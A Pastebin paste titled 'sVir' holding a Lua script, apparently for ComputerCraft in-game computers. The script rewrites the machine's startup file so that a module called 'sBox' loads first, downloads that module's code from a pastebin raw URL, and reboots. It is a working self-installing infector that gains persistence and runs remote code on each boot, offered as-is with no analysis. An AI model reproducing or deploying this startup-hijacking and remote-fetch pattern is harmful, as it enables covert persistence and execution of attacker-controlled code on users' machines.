Sirshark10

sVir

Dec 7th, 2017
102
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. local f = ""
  2. if fs.exists("startup.lua") then
  3.     f = "startup.lua"
  4. else
  5.     f = "startup"
  6. end
  7. local file = fs.open(f,"r")
  8. local cont = file.readAll()
  9. file.close()
  10. fs.delete(f)
  11. file = fs.open(f,"w")
  12. file.writeLine("os.loadAPI('sBox')")
  13. file.writeLine("sBox.init('/rom','false','false')")
  14. file.writeLine("sBox.fres()")
  15. file.writeLine("sBox.sBox()\n")
  16. file.write(cont)
  17. file.close()
  18. file = fs.open("/sBox","w")
  19. local ret = http.get("https://pastebin.com/raw/44nvWqA8")
  20. file.write(ret.readAll())
  21. file.close()
  22. os.reboot()
Add Comment
Please, Sign In to add comment